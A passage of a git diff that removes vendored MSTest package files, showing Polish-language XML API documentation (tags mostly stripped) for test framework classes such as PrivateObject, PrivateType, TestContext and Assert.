kompilacji. Element zostanie skopiowany do tego samego katalogu co wdrożone zestawy testowe. - Ścieżka katalogu, do którego mają być kopiowane elementy. Może być bezwzględna lub określana względem katalogu wdrażania. Wszystkie pliki i katalogi określone przez zostaną skopiowane do tego katalogu. - - - - Pobiera ścieżkę źródłowego pliku lub folderu do skopiowania. - - - - - Pobiera ścieżkę katalogu, do którego element jest kopiowany. - - - - - Zawiera literały nazw sekcji, właściwości, atrybutów. - - - - - Nazwa sekcji konfiguracji. - - - - - Nazwa sekcji konfiguracji dla Beta2. Pozostawiona w celu zapewnienia zgodności. - - - - - Nazwa sekcji dla źródła danych. - - - - - Nazwa atrybutu dla parametru „Name” - - - - - Nazwa atrybutu dla parametru „ConnectionString” - - - - - Nazwa atrybutu dla parametru „DataAccessMethod” - - - - - Nazwa atrybutu dla parametru „DataTable” - - - - - Element źródła danych. - - - - - Pobiera lub ustawia nazwę tej konfiguracji. - - - - - Pobiera lub ustawia element ConnectionStringSettings w sekcji <connectionStrings> w pliku config. - - - - - Pobiera lub ustawia nazwę tabeli danych. - - - - - Pobiera lub ustawia typ dostępu do danych. - - - - - Pobiera nazwę klucza. - - - - - Pobiera właściwości konfiguracji. - - - - - Kolekcja elementów źródła danych. - - - - - Inicjuje nowe wystąpienie klasy . - - - - - Zwraca element konfiguracji z określonym kluczem. - - Klucz elementu do zwrócenia. - Element System.Configuration.ConfigurationElement z określonym kluczem; w przeciwnym razie wartość null. - - - - Pobiera element konfiguracji pod określoną lokalizacją w indeksie. - - Lokalizacja w indeksie elementu System.Configuration.ConfigurationElement do zwrócenia. - - - - Dodaje element konfiguracji do kolekcji elementów konfiguracji. - - Element System.Configuration.ConfigurationElement do dodania. - - - - Usuwa element System.Configuration.ConfigurationElement z kolekcji. - - . - - - - Usuwa element System.Configuration.ConfigurationElement z kolekcji. - - Klucz elementu System.Configuration.ConfigurationElement do usunięcia. - - - - Usuwa wszystkie obiekty elementów konfiguracji z kolekcji. - - - - - Tworzy nowy element . - - Nowy element. - - - - Pobiera klucz elementu dla określnego elementu konfiguracji. - - Element System.Configuration.ConfigurationElement, dla którego ma zostać zwrócony klucz. - Element System.Object działający jako klucz dla określonego elementu System.Configuration.ConfigurationElement. - - - - Dodaje element konfiguracji do kolekcji elementów konfiguracji. - - Element System.Configuration.ConfigurationElement do dodania. - - - - Dodaje element konfiguracji do kolekcji elementów konfiguracji. - - Lokalizacja w indeksie, pod którą ma zostać dodany określony element System.Configuration.ConfigurationElement. - Element System.Configuration.ConfigurationElement do dodania. - - - - Obsługa ustawień konfiguracji na potrzeby testów. - - - - - Pobiera sekcję konfiguracji dla testów. - - - - - Sekcja konfiguracji dla testów. - - - - - Pobiera źródła danych dla tej sekcji konfiguracji. - - - - - Pobiera kolekcję właściwości. - - - Element właściwości dla elementu. - - - - - Ta klasa reprezentuje rzeczywisty NIEPUBLICZNY obiekt WEWNĘTRZNY w systemie - - - - - Inicjuje nowe wystąpienie klasy , które zawiera - już istniejący obiekt klasy prywatnej - - obiekt służący jako punkt początkowy na potrzeby dostępu do prywatnych elementów członkowskich - ciąg wyłuskujący używający elementu . wskazującego obiekt do pobrania, jak w wyrażeniu m_X.m_Y.m_Z - - - - Inicjuje nowe wystąpienie klasy , które opakowuje - określony typ. - - Nazwa zestawu - w pełni kwalifikowana nazwa - Argumenty do przekazania do konstruktora - - - - Inicjuje nowe wystąpienie klasy , które opakowuje - określony typ. - - Nazwa zestawu - w pełni kwalifikowana nazwa - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla konstruktora do pobrania - Argumenty do przekazania do konstruktora - - - - Inicjuje nowe wystąpienie klasy , które opakowuje - określony typ. - - typ obiektu do utworzenia - Argumenty do przekazania do konstruktora - - - - Inicjuje nowe wystąpienie klasy , które opakowuje - określony typ. - - typ obiektu do utworzenia - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla konstruktora do pobrania - Argumenty do przekazania do konstruktora - - - - Inicjuje nowe wystąpienie klasy , które opakowuje - określony obiekt. - - obiekt do opakowania - - - - Inicjuje nowe wystąpienie klasy , które opakowuje - określony obiekt. - - obiekt do opakowania - Obiekt PrivateType - - - - Pobiera lub ustawia element docelowy - - - - - Pobiera typ obiektu bazowego - - - - - zwraca wartość skrótu docelowego obiektu - - wartość typu int reprezentująca wartość skrótu docelowego obiektu - - - - Jest równe - - Obiekt, z którym ma zostać wykonane porównanie - zwraca wartość true, jeśli obiekty są równe. - - - - Wywołuje określoną metodę - - Nazwa metody - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Wynik wywołania metody - - - - Wywołuje określoną metodę - - Nazwa metody - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla metody do pobrania. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Wynik wywołania metody - - - - Wywołuje określoną metodę - - Nazwa metody - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla metody do pobrania. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Tablica typów odpowiadających typom argumentów ogólnych. - Wynik wywołania metody - - - - Wywołuje określoną metodę - - Nazwa metody - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Informacje o kulturze - Wynik wywołania metody - - - - Wywołuje określoną metodę - - Nazwa metody - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla metody do pobrania. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Informacje o kulturze - Wynik wywołania metody - - - - Wywołuje określoną metodę - - Nazwa metody - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Wynik wywołania metody - - - - Wywołuje określoną metodę - - Nazwa metody - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla metody do pobrania. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Wynik wywołania metody - - - - Wywołuje określoną metodę - - Nazwa metody - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Informacje o kulturze - Wynik wywołania metody - - - - Wywołuje określoną metodę - - Nazwa metody - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla metody do pobrania. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Informacje o kulturze - Wynik wywołania metody - - - - Wywołuje określoną metodę - - Nazwa metody - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla metody do pobrania. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Informacje o kulturze - Tablica typów odpowiadających typom argumentów ogólnych. - Wynik wywołania metody - - - - Pobiera element tablicy przy użyciu tablicy indeksów dla każdego wymiaru - - Nazwa elementu członkowskiego - indeksy tablicy - Tablica elementów. - - - - Ustawia element tablicy przy użyciu tablicy indeksów dla każdego wymiaru - - Nazwa elementu członkowskiego - Wartość do ustawienia - indeksy tablicy - - - - Pobiera element tablicy przy użyciu tablicy indeksów dla każdego wymiaru - - Nazwa elementu członkowskiego - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - indeksy tablicy - Tablica elementów. - - - - Ustawia element tablicy przy użyciu tablicy indeksów dla każdego wymiaru - - Nazwa elementu członkowskiego - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - Wartość do ustawienia - indeksy tablicy - - - - Pobierz pole - - Nazwa pola - Pole. - - - - Ustawia pole - - Nazwa pola - wartość do ustawienia - - - - Pobiera pole - - Nazwa pola - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - Pole. - - - - Ustawia pole - - Nazwa pola - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - wartość do ustawienia - - - - Pobierz pole lub właściwość - - Nazwa pola lub właściwości - Pole lub właściwość. - - - - Ustawia pole lub właściwość - - Nazwa pola lub właściwości - wartość do ustawienia - - - - Pobiera pole lub właściwość - - Nazwa pola lub właściwości - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - Pole lub właściwość. - - - - Ustawia pole lub właściwość - - Nazwa pola lub właściwości - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - wartość do ustawienia - - - - Pobiera właściwość - - Nazwa właściwości - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Właściwość. - - - - Pobiera właściwość - - Nazwa właściwości - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów właściwości indeksowanej. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Właściwość. - - - - Ustaw właściwość - - Nazwa właściwości - wartość do ustawienia - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - - - - Ustaw właściwość - - Nazwa właściwości - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów właściwości indeksowanej. - wartość do ustawienia - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - - - - Pobiera właściwość - - Nazwa właściwości - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Właściwość. - - - - Pobiera właściwość - - Nazwa właściwości - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów właściwości indeksowanej. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Właściwość. - - - - Ustawia właściwość - - Nazwa właściwości - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - wartość do ustawienia - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - - - - Ustawia właściwość - - Nazwa właściwości - Maska bitów składająca się z co najmniej jednego określający sposób wykonania wyszukiwania. - wartość do ustawienia - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów właściwości indeksowanej. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - - - - Zweryfikuj ciąg dostępu - - ciąg dostępu - - - - Wywołuje element członkowski - - Nazwa elementu członkowskiego - Dodatkowe atrybuty - Argumenty wywołania - Kultura - Wynik wywołania - - - - Wyodrębnia najbardziej odpowiednią sygnaturę metody ogólnej z bieżącego typu prywatnego. - - Nazwa metody przeszukującej pamięć podręczną sygnatur. - Tablica typów odpowiadających typom przeszukiwanych parametrów. - Tablica typów odpowiadających typom argumentów ogólnych. - , aby bardziej szczegółowo filtrować sygnatury metod. - Modyfikatory dla parametrów. - Wystąpienie elementu methodinfo. - - - - Ta klasa reprezentuje klasę prywatną dla funkcjonalności prywatnej metody dostępu. - - - - - Wiąże się z każdym elementem - - - - - Opakowany typ. - - - - - Inicjuje nowe wystąpienie klasy , które zawiera typ prywatny. - - Nazwa zestawu - w pełni kwalifikowana nazwa - - - - Inicjuje nowe wystąpienie klasy , które zawiera - typ prywatny z obiektu typu - - Opakowany typ do utworzenia. - - - - Pobiera przywoływany typ - - - - - Wywołuje statyczny element członkowski - - Nazwa elementu członkowskiego dla elementu InvokeHelper - Argumenty wywołania - Wynik wywołania - - - - Wywołuje statyczny element członkowski - - Nazwa elementu członkowskiego dla elementu InvokeHelper - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla metody do wywołania - Argumenty wywołania - Wynik wywołania - - - - Wywołuje statyczny element członkowski - - Nazwa elementu członkowskiego dla elementu InvokeHelper - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla metody do wywołania - Argumenty wywołania - Tablica typów odpowiadających typom argumentów ogólnych. - Wynik wywołania - - - - Wywołuje metodę statyczną - - Nazwa elementu członkowskiego - Argumenty wywołania - Kultura - Wynik wywołania - - - - Wywołuje metodę statyczną - - Nazwa elementu członkowskiego - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla metody do wywołania - Argumenty wywołania - Informacje o kulturze - Wynik wywołania - - - - Wywołuje metodę statyczną - - Nazwa elementu członkowskiego - Dodatkowe atrybuty wywołania - Argumenty wywołania - Wynik wywołania - - - - Wywołuje metodę statyczną - - Nazwa elementu członkowskiego - Dodatkowe atrybuty wywołania - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla metody do wywołania - Argumenty wywołania - Wynik wywołania - - - - Wywołuje metodę statyczną - - Nazwa elementu członkowskiego - Dodatkowe atrybuty wywołania - Argumenty wywołania - Kultura - Wynik wywołania - - - - Wywołuje metodę statyczną - - Nazwa elementu członkowskiego - Dodatkowe atrybuty wywołania - /// Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla metody do wywołania - Argumenty wywołania - Kultura - Wynik wywołania - - - - Wywołuje metodę statyczną - - Nazwa elementu członkowskiego - Dodatkowe atrybuty wywołania - /// Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów dla metody do wywołania - Argumenty wywołania - Kultura - Tablica typów odpowiadających typom argumentów ogólnych. - Wynik wywołania - - - - Pobiera element w tablicy statycznej - - Nazwa tablicy - - Jednowymiarowa tablica 32-bitowych liczb całkowitych reprezentujących indeksy określające - pozycję elementu do pobrania. Przykładowo aby uzyskać dostęp do elementu a[10][11], indeksem będzie {10,11} - - element w określonej lokalizacji - - - - Ustawia element członkowski tablicy statycznej - - Nazwa tablicy - wartość do ustawienia - - Jednowymiarowa tablica 32-bitowych liczb całkowitych reprezentujących indeksy określające - pozycję elementu do ustawienia. Przykładowo aby uzyskać dostęp do elementu a[10][11], tablicą będzie {10,11} - - - - - Pobiera element z tablicy statycznej - - Nazwa tablicy - Dodatkowe atrybuty elementu InvokeHelper - - Jednowymiarowa tablica 32-bitowych liczb całkowitych reprezentujących indeksy określające - pozycję elementu do pobrania. Przykładowo aby uzyskać dostęp do elementu a[10][11], tablicą będzie {10,11} - - element w określonej lokalizacji - - - - Ustawia element członkowski tablicy statycznej - - Nazwa tablicy - Dodatkowe atrybuty elementu InvokeHelper - wartość do ustawienia - - Jednowymiarowa tablica 32-bitowych liczb całkowitych reprezentujących indeksy określające - pozycję elementu do ustawienia. Przykładowo aby uzyskać dostęp do elementu a[10][11], tablicą będzie {10,11} - - - - - Pobiera pole statyczne - - Nazwa pola - Pole statyczne. - - - - Ustawia pole statyczne - - Nazwa pola - Argument wywołania - - - - Pobiera pole statyczne za pomocą określonych atrybutów elementu InvokeHelper - - Nazwa pola - Dodatkowe atrybuty wywołania - Pole statyczne. - - - - Ustawia pole statyczne za pomocą atrybutów powiązania - - Nazwa pola - Dodatkowe atrybuty elementu InvokeHelper - Argument wywołania - - - - Pobiera pole statyczne lub właściwość - - Nazwa pola lub właściwości - Statyczne pole lub właściwość. - - - - Ustawia pole statyczne lub właściwość - - Nazwa pola lub właściwości - Wartość do ustawienia dla pola lub właściwości - - - - Pobiera pole statyczne lub właściwość za pomocą określonych atrybutów elementu InvokeHelper - - Nazwa pola lub właściwości - Dodatkowe atrybuty wywołania - Statyczne pole lub właściwość. - - - - Ustawia pole statyczne lub właściwość za pomocą atrybutów powiązania - - Nazwa pola lub właściwości - Dodatkowe atrybuty wywołania - Wartość do ustawienia dla pola lub właściwości - - - - Pobiera właściwość statyczną - - Nazwa pola lub właściwości - Argumenty wywołania - Właściwość statyczna. - - - - Ustawia właściwość statyczną - - Nazwa właściwości - Wartość do ustawienia dla pola lub właściwości - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - - - - Ustawia właściwość statyczną - - Nazwa właściwości - Wartość do ustawienia dla pola lub właściwości - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów właściwości indeksowanej. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - - - - Pobiera właściwość statyczną - - Nazwa właściwości - Dodatkowe atrybuty wywołania. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Właściwość statyczna. - - - - Pobiera właściwość statyczną - - Nazwa właściwości - Dodatkowe atrybuty wywołania. - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów właściwości indeksowanej. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - Właściwość statyczna. - - - - Ustawia właściwość statyczną - - Nazwa właściwości - Dodatkowe atrybuty wywołania. - Wartość do ustawienia dla pola lub właściwości - Opcjonalne wartości indeksu dla właściwości indeksowanych. Indeksy właściwości indeksowanych są liczone od zera. W przypadku właściwości nieindeksowanych powinna to być wartość null. - - - - Ustawia właściwość statyczną - - Nazwa właściwości - Dodatkowe atrybuty wywołania. - Wartość do ustawienia dla pola lub właściwości - Tablica obiektów reprezentujących liczbę, kolejność i typ parametrów właściwości indeksowanej. - Argumenty do przekazania do elementu członkowskiego na potrzeby wywołania. - - - - Wywołuje metodę statyczną - - Nazwa elementu członkowskiego - Dodatkowe atrybuty wywołania - Argumenty wywołania - Kultura - Wynik wywołania - - - - Udostępnia odnajdywanie podpisu metody dla metod ogólnych. - - - - - Porównuje sygnatury tych dwóch metod. - - Method1 - Method2 - Ma wartość true, jeśli są one podobne. - - - - Pobiera głębokość hierarchii z typu podstawowego podanego typu. - - Typ. - Głębokość. - - - - Znajduje najbardziej pochodny typ z podanymi informacjami. - - Dopasowania kandydatów. - Liczba dopasowań. - Najbardziej pochodna metoda. - - - - Za pomocą podanego zbioru metod pasujących do podstawowych kryteriów wybierz metodę - opartą na tablicy typów. Ta metoda powinna zwracać wartość null, jeśli żadna metoda - nie pasuje do kryteriów. - - Specyfikacja powiązania. - Dopasowania kandydatów - Typy - Modyfikatory parametrów. - Zgodna metoda. Null, jeśli brak zgodności. - - - - Znajduje najbardziej specyficzną metodę spośród dwóch podanych metod. - - Metoda 1 - Kolejność parametrów dla metody 1 - Typ tablicy parametrów. - Metoda 2 - Kolejność parametrów dla metody 2 - >Typ tablicy parametrów. - Typy do przeszukania. - Argumenty. - Wartość int reprezentująca dopasowanie. - - - - Znajduje najbardziej specyficzną metodę spośród dwóch podanych metod. - - Metoda 1 - Kolejność parametrów dla metody 1 - Typ tablicy parametrów. - Metoda 2 - Kolejność parametrów dla metody 2 - >Typ tablicy parametrów. - Typy do przeszukania. - Argumenty. - Wartość int reprezentująca dopasowanie. - - - - Znajduje najbardziej specyficzny typ spośród dwóch podanych. - - Typ 1 - Typ 2 - Typ definiujący - Wartość int reprezentująca dopasowanie. - - - - Używane do przechowywania informacji udostępnianych testom jednostkowym. - - - - - Pobiera właściwości testu. - - - - - Pobiera bieżący wiersz danych, gdy test służy do testowania opartego na danych. - - - - - Pobiera bieżący wiersz połączenia danych, gdy test służy do testowania opartego na danych. - - - - - Pobiera katalog podstawowy dla uruchomienia testu, w którym są przechowywane wdrożone pliki i pliki wyników. - - - - - Pobiera katalog dla plików wdrożonych na potrzeby uruchomienia testu. Zazwyczaj jest to podkatalog . - - - - - Pobiera katalog podstawowy dla wyników uruchomienia testu. Zazwyczaj jest to podkatalog . - - - - - Pobiera katalog dla plików wyników uruchomienia testu. Zazwyczaj jest to podkatalog . - - - - - Pobiera katalog dla plików wyników testu. - - - - - Pobiera katalog podstawowy dla uruchomienia testu, w którym są przechowywane wdrożone pliki i pliki wyników. - Taki sam jak . Zamiast tego użyj tej właściwości. - - - - - Pobiera katalog dla plików wdrożonych na potrzeby uruchomienia testu. Zazwyczaj jest to podkatalog . - Taki sam jak . Zamiast tego użyj tej właściwości. - - - - - Pobiera katalog dla plików wyników uruchomienia testu. Zazwyczaj jest to podkatalog . - Taki sam jak . Użyj tej właściwości dla plików wyników uruchomienia testu lub zamiast tego użyj katalogu - dla plików wyników specyficznych dla testu. - - - - - Pobiera w pełni kwalifikowaną nazwę klasy zawierającej metodę testowania, która jest obecnie wykonywana - - - - - Pobiera nazwę aktualnie wykonywanej metody testowej - - - - - Pobiera wynik bieżącego testu. - - - - - Używane do zapisywania komunikatów śledzenia podczas działania testu - - ciąg sformatowanego komunikatu - - - - Używane do zapisywania komunikatów śledzenia podczas działania testu - - ciąg formatu - argumenty - - - - Dodaje nazwę pliku do listy w elemencie TestResult.ResultFileNames - - - Nazwa pliku. - - - - - Uruchamia czasomierz o określonej nazwie - - Nazwa czasomierza. - - - - Zatrzymuje czasomierz o określonej nazwie - - Nazwa czasomierza. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 55933843..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Metoda TestMethod do wykonania. - - - - - Pobiera nazwę metody testowej. - - - - - Pobiera nazwę klasy testowej. - - - - - Pobiera zwracany typ metody testowej. - - - - - Pobiera parametry metody testowej. - - - - - Pobiera element methodInfo dla metody testowej. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Wywołuje metodę testową. - - - Argumenty przekazywane do metody testowej (np. w przypadku opartej na danych) - - - Wynik wywołania metody testowej. - - - This call handles asynchronous test methods as well. - - - - - Pobierz wszystkie atrybuty metody testowej. - - - Informacja o tym, czy atrybut zdefiniowany w klasie nadrzędnej jest prawidłowy. - - - Wszystkie atrybuty. - - - - - Pobierz atrybut określonego typu. - - System.Attribute type. - - Informacja o tym, czy atrybut zdefiniowany w klasie nadrzędnej jest prawidłowy. - - - Atrybuty określonego typu. - - - - - Element pomocniczy. - - - - - Sprawdzany parametr nie ma wartości null. - - - Parametr. - - - Nazwa parametru. - - - Komunikat. - - Throws argument null exception when parameter is null. - - - - Sprawdzany parametr nie ma wartości null i nie jest pusty. - - - Parametr. - - - Nazwa parametru. - - - Komunikat. - - Throws ArgumentException when parameter is null. - - - - Wyliczenie dotyczące sposobu dostępu do wierszy danych w teście opartym na danych. - - - - - Wiersze są zwracane po kolei. - - - - - Wiersze są zwracane w kolejności losowej. - - - - - Atrybut do definiowania danych wbudowanych dla metody testowej. - - - - - Inicjuje nowe wystąpienie klasy . - - Obiekt danych. - - - - Inicjuje nowe wystąpienie klasy , które pobiera tablicę argumentów. - - Obiekt danych. - Więcej danych. - - - - Pobiera dane do wywoływania metody testowej. - - - - - Pobiera lub ustawia nazwę wyświetlaną w wynikach testu do dostosowania. - - - - - Wyjątek niejednoznacznej asercji. - - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - Wyjątek. - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - - - - Inicjuje nowe wystąpienie klasy . - - - - - Klasa InternalTestFailureException. Używana do określenia wewnętrznego błędu przypadku testowego - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat wyjątku. - Wyjątek. - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat wyjątku. - - - - Inicjuje nowe wystąpienie klasy . - - - - - Atrybut określający, że jest oczekiwany wyjątek określonego typu - - - - - Inicjuje nowe wystąpienie klasy z oczekiwanym typem - - Typ oczekiwanego wyjątku - - - - Inicjuje nowe wystąpienie klasy z - oczekiwanym typem i komunikatem do uwzględnienia, gdy test nie zgłasza żadnego wyjątku. - - Typ oczekiwanego wyjątku - - Komunikat do dołączenia do wyniku testu, jeśli test nie powiedzie się, ponieważ nie zostanie zgłoszony wyjątek - - - - - Pobiera wartość wskazującą typ oczekiwanego wyjątku - - - - - Pobiera lub ustawia wartość wskazującą, czy typy pochodne typu oczekiwanego wyjątku - są traktowane jako oczekiwane - - - - - Pobiera komunikat do uwzględnienia w wyniku testu, jeśli test nie powiedzie się z powodu niezgłoszenia wyjątku - - - - - Weryfikuje, czy typ wyjątku zgłoszonego przez test jednostkowy jest oczekiwany - - Wyjątek zgłoszony przez test jednostkowy - - - - Klasa podstawowa dla atrybutów, które określają, że jest oczekiwany wyjątek z testu jednostkowego - - - - - Inicjuje nowe wystąpienie klasy z domyślnym komunikatem o braku wyjątku - - - - - Inicjuje nowe wystąpienie klasy z komunikatem o braku wyjątku - - - Komunikat do dołączenia do wyniku testu, jeśli test nie powiedzie się, ponieważ - nie zostanie zgłoszony wyjątek - - - - - Pobiera komunikat do uwzględnienia w wyniku testu, jeśli test nie powiedzie się z powodu niezgłoszenia wyjątku - - - - - Pobiera komunikat do uwzględnienia w wyniku testu, jeśli test nie powiedzie się z powodu niezgłoszenia wyjątku - - - - - Pobiera domyślny komunikat bez wyjątku - - Nazwa typu atrybutu ExpectedException - Domyślny komunikat bez wyjątku - - - - Określa, czy wyjątek jest oczekiwany. Jeśli wykonanie metody zakończy się normalnie, oznacza to, - że wyjątek był oczekiwany. Jeśli metoda zgłosi wyjątek, oznacza to, - że wyjątek nie był oczekiwany, a komunikat zgłoszonego wyjątku - jest dołączony do wyniku testu. Klasy można użyć dla - wygody. Jeśli zostanie użyta klasa i asercja nie powiedzie się, - wynik testu zostanie ustawiony jako Niejednoznaczny. - - Wyjątek zgłoszony przez test jednostkowy - - - - Zgłoś ponownie wyjątek, jeśli jest to wyjątek AssertFailedException lub AssertInconclusiveException - - Wyjątek do ponownego zgłoszenia, jeśli jest to wyjątek asercji - - - - Ta klasa jest zaprojektowana w taki sposób, aby pomóc użytkownikowi wykonującemu testy jednostkowe dla typów używających typów ogólnych. - Element GenericParameterHelper zachowuje niektóre typowe ograniczenia typów ogólnych, - takie jak: - 1. publiczny konstruktor domyślny - 2. implementuje wspólny interfejs: IComparable, IEnumerable - - - - - Inicjuje nowe wystąpienie klasy , które - spełnia ograniczenie „newable” w typach ogólnych języka C#. - - - This constructor initializes the Data property to a random value. - - - - - Inicjuje nowe wystąpienie klasy , które - inicjuje właściwość Data wartością dostarczoną przez użytkownika. - - Dowolna liczba całkowita - - - - Pobiera lub ustawia element Data - - - - - Wykonuje porównanie wartości dwóch obiektów GenericParameterHelper - - obiekt, z którym ma zostać wykonane porównanie - Wartość true, jeśli obiekt ma tę samą wartość co obiekt „this” typu GenericParameterHelper. - W przeciwnym razie wartość false. - - - - Zwraca wartość skrótu tego obiektu. - - Kod skrótu. - - - - Porównuje dane dwóch obiektów . - - Obiekt do porównania. - - Liczba ze znakiem, która wskazuje wartości względne tego wystąpienia i wartości. - - - Thrown when the object passed in is not an instance of . - - - - - Zwraca obiekt IEnumerator, którego długość jest określona na podstawie - właściwości Data. - - Obiekt IEnumerator - - - - Zwraca obiekt GenericParameterHelper równy - bieżącemu obiektowi. - - Sklonowany obiekt. - - - - Umożliwia użytkownikom rejestrowanie/zapisywanie śladów z testów jednostek w celach diagnostycznych. - - - - - Procedura obsługi elementu LogMessage. - - Komunikat do zarejestrowania. - - - - Zdarzenie, które ma być nasłuchiwane. Zgłaszane, gdy składnik zapisywania testu jednostkowego zapisze jakiś komunikat. - Zwykle zużywane przez adapter. - - - - - Interfejs API składnika zapisywania testu do wywołania na potrzeby rejestrowania komunikatów. - - Format ciągu z symbolami zastępczymi. - Parametry dla symboli zastępczych. - - - - Atrybut TestCategory używany do określenia kategorii testu jednostkowego. - - - - - Inicjuje nowe wystąpienie klasy i stosuje kategorię do testu. - - - Kategoria testu. - - - - - Pobiera kategorie testu, które zostały zastosowane do testu. - - - - - Klasa podstawowa atrybutu „Category” - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inicjuje nowe wystąpienie klasy . - Stosuje kategorię do testu. Ciągi zwrócone przez element TestCategories - są używane w poleceniu /category do filtrowania testów - - - - - Pobiera kategorię testu, która została zastosowana do testu. - - - - - Klasa AssertFailedException. Używana do wskazania niepowodzenia przypadku testowego - - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - Wyjątek. - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - - - - Inicjuje nowe wystąpienie klasy . - - - - - Kolekcja klas pomocniczych na potrzeby testowania różnych warunków w ramach - testów jednostkowych. Jeśli testowany warunek nie zostanie spełniony, zostanie zgłoszony - wyjątek. - - - - - Pobiera pojedyncze wystąpienie funkcji Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, czy określony warunek ma wartość true, i zgłasza wyjątek, - jeśli warunek ma wartość false. - - - Warunek, którego wartość oczekiwana przez test to true. - - - Thrown if is false. - - - - - Testuje, czy określony warunek ma wartość true, i zgłasza wyjątek, - jeśli warunek ma wartość false. - - - Warunek, którego wartość oczekiwana przez test to true. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość false. Komunikat jest wyświetlony w wynikach testu. - - - Thrown if is false. - - - - - Testuje, czy określony warunek ma wartość true, i zgłasza wyjątek, - jeśli warunek ma wartość false. - - - Warunek, którego wartość oczekiwana przez test to true. - - - Komunikat do dołączenia do wyjątku, gdy element - ma wartość false. Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is false. - - - - - Testuje, czy określony warunek ma wartość false, i zgłasza wyjątek, - jeśli warunek ma wartość true. - - - Warunek, którego wartość oczekiwana przez test to false. - - - Thrown if is true. - - - - - Testuje, czy określony warunek ma 